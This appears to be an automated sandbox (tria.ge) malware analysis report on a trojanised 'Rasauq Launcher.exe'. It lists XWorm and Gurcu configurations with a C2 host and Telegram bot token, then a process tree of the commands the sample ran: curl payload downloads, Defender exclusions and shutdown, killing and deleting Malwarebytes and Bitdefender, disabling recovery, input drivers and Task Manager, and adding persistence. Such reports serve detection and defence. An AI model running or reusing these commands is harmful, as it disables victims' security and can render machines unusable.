Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
261s -
max time network
282s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
-
submitted
17/03/2025, 15:22
Errors
Reason
Machine shutdown
General
-
Target
Rasauq Launcher.exe
-
Size
84KB
-
MD5
569a09ebfa64b8f5ec39a17c2b3bc4dd
-
SHA1
1d2b2b9c024f2e204ab0b4bbba9a6c305038d487
-
SHA256
9fc53dcefce749b23c8f907dc44d498d15058a5b2cedb7c94e1cd42c88176c2f
-
SHA512
960af03f64621beda154dc986cb80d3370f11cb1fe846bc91ec8ba6782dd71dba229926ef2fea0fec208713e6b5af07912ca1045c40fe5c246dd6377529ee01b
-
SSDEEP
1536:l5e2sHTvN2b4p98BcYCXSg0qMl3nRgt5P7ZJUqAA/WkywGKwkvOWkDDiun:q2W0n4lEl3RE5veV2Wniun
Score
10/10
Malware Config
Extracted
Family
xworm
C2
looking-brings.gl.at.ply.gg:65381
Attributes
-
Install_directory
%LocalAppData%
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot8074871433:AAGd-vCZQOlCC_n2SUFT-qQ6fFThcBVDd1Y
Extracted
Family
gurcu
C2
https://api.telegram.org/bot8074871433:AAGd-vCZQOlCC_n2SUFT-qQ6fFThcBVDd1Y/sendMessage?chat_id=1002422094535
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Detect Xworm Payload 2 IoCs
-
Disables service(s) 3 TTPs
-
Gurcu family
-
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
-
Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 8 IoCs
-
Modifies security service 2 TTPs 4 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
-
Blocklisted process makes network request 10 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Disables RegEdit via registry modification 1 IoCs
-
Disables Task Manager via registry modification
-
Drops file in Drivers directory 2 IoCs
-
Manipulates Digital Signatures 1 TTPs 15 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Possible privilege escalation attempt 32 IoCs
-
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Stops running service(s) 4 TTPs
-
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 6 IoCs
-
Executes dropped EXE 9 IoCs
-
Modifies file permissions 1 TTPs 32 IoCs
-
Adds Run key to start application 2 TTPs 6 IoCs
-
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Power Settings 1 TTPs 12 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
-
Drops file in System32 directory 8 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
-
Drops file in Windows directory 8 IoCs
-
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 5 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Kills process with taskkill 38 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Rasauq Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Rasauq Launcher.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe"C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Rasauq SoftWorks.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Windows Host Service.scr'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Host Service.scr'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Host Service" /tr "C:\Users\Admin\AppData\Local\Windows Host Service.scr"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sRasauq SoftWorks.exe"C:\Users\Admin\AppData\Local\Temp\sRasauq SoftWorks.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host"3⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"3⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD1F6.tmp.bat""3⤵
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /TN $77RealtekAudioDriverHost.exe5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /SC ONCE /TN "$77RealtekAudioDriverHost.exe" /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe \"\$77RealtekAudioDriverHost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /TN $77RealtekAudioDriverHost.exe5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc daily /tn "RealtekAudioDriverHost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:005⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4528" "2112" "2016" "2076" "0" "0" "2116" "0" "0" "0" "0" "0"6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"5⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Launch.bat" "2⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o ModMenu.bat https://sky-aerial-derby.glitch.me/ModMenu.bat3⤵
-
-
C:\Windows\system32\curl.execurl -o hig.bat https://sky-aerial-derby.glitch.me/ModMenu.bat3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ModMenu.bat"3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\openfiles.exeopenfiles4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(new-object -com shell.application).minimizeall()"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\curl.execurl -O https://media.discordapp.net/attachments/1198940919777472532/1349364239487467550/IMG_3728.png4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "Wallpaper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "WallpaperStyle" /t REG_SZ /d 10 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "TileWallpaper" /t REG_SZ /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Personalization" /v "LockScreenImage" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "OEMBackground" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "BackgroundType" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "Background" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM" /v "AccentColor" /t REG_DWORD /d 0x00000000 /f4⤵
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Windows Host Service" /tr "\"C:\Windows\System32\Rasauq\$77RasauqBroker.bat\"" /sc onlogon /rl highest /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows Defender" /v "Last Known Good" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v "DisableSecurityCenter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\MpsSvc" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\cmd.execmd /c "C:\Windows\System32\Rasauq\$77RasauqBroker.bat"4⤵
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f5⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object -ComObject SAPI.SpVoice).Volume = 100"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSettings" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoAddPrinter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAVerb" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideIcons" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "InvertMouse" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery\WinRE.wim /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery\WinRE.wim /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {default} recoveryenabled4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRE" /v "DisableWinRE" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exeREG DELETE "HKCU\Software\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableAntiTamper $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\mspmsnsv.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\wscsvc.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbam.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MBAMService.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamtray.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamscheduler.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMProtector4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMProtector4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMFarflt4⤵
-
-
C:\Windows\system32\sc.exesc delete MBAMFarflt4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMSwissArmy4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMSwissArmy4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMChameleon" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMFarflt" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMSwissArmy" /f4⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdservicehost.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdagent.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdredline.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdparentalservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdreinit.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdsubwiz.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM seccenter.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vsserv.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epssecurityservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop bdservicehost4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdservicehost4⤵
-
-
C:\Windows\system32\sc.exesc stop bdagent4⤵
-
-
C:\Windows\system32\sc.exesc delete bdagent4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdparentalservice4⤵
-
-
C:\Windows\system32\sc.exesc delete bdparentalservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdreinit4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdreinit4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop seccenter4⤵
-
-
C:\Windows\system32\sc.exesc delete seccenter4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Bitdefender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Bitdefender" /f4⤵
-
-
